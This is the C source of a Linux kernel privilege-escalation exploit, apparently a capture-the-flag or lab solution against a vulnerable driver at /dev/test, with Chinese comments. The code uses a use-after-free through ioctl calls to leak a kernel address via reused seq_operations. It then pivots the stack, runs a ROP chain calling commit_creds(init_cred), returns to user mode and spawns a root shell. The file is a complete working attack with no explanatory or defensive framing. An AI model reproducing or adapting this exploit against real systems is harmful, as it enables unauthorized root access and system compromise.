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| #include <fcntl.h>
#include <stddef.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
#define COMMIT_CREDS 0xffffffff810c8d40
#define SEQ_OPS_0 0xffffffff81319d30
#define INIT_CRED 0xffffffff82663300
#define POP_RDI_RET 0xffffffff81089250
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30
long fd;
struct op_chunk
{
size_t idx;
size_t size;
void *buf;
};
struct alloc_chunk
{
size_t size;
void *buf;
};
void readchunk(size_t idx, size_t size, void *buf)
{
struct op_chunk op =
{
.idx = idx,
.size = size,
.buf = buf
};
ioctl(fd, 0x40, &op);
}
void writechunk(size_t idx, size_t size, void *buf)
{
struct op_chunk op =
{
.idx = idx,
.size = size,
.buf = buf
};
ioctl(fd, 0x50, &op);
}
void freechunk(size_t idx)
{
struct op_chunk op =
{
.idx = idx
};
ioctl(fd, 0x30, &op);
}
void allocchunk(size_t size, void *buf)
{
struct alloc_chunk alloc =
{
.size = size,
.buf = buf
};
ioctl(fd, 0x20, &alloc);
}
size_t buf[0x100];
size_t swapgs_restore_regs_and_return_to_usermode;
size_t init_cred;
size_t pop_rdi_ret;
long seq_fd;
size_t kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds;
size_t gadget;
int main(int argc, char ** argv, char ** envp)
{
fd = open("/dev/test", O_RDWR); // 使用 O_RDWR 而不是 2
allocchunk(0x20, buf);
freechunk(0);
seq_fd = open("/proc/self/stat", O_RDONLY); // 修正：/proc 不是 /pro
readchunk(0, 0x20, buf);
//用户buf → 内核chunk;内核chunk被释放，用户buf不变;内核重用chunk存放seq_operations;内核chunk (seq_operations) → 用户buf (覆盖原有数据)
kernel_offset = buf[0] - SEQ_OPS_0;
kernel_base += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
gadget = 0xffffffff8135b0f6 + kernel_offset; //add rsp,distance
buf[0] = gadget;
swapgs_restore_regs_and_return_to_usermode += 9;
writechunk(0, 0x20, buf); // 修正：writechunk 不是 writeChunk
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
//正常执行commit_creds(init_cred)
"mov rbx, 0x999999999;"
"mov r11, 0x114514;"
"mov r10, 0x666666666;"
"mov r9, 0x1919114514;"
"mov r8, 0xabcd1919810;"
//垃圾数据
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
//执行syscall
);
system("/bin/sh");
return 0;
}
|
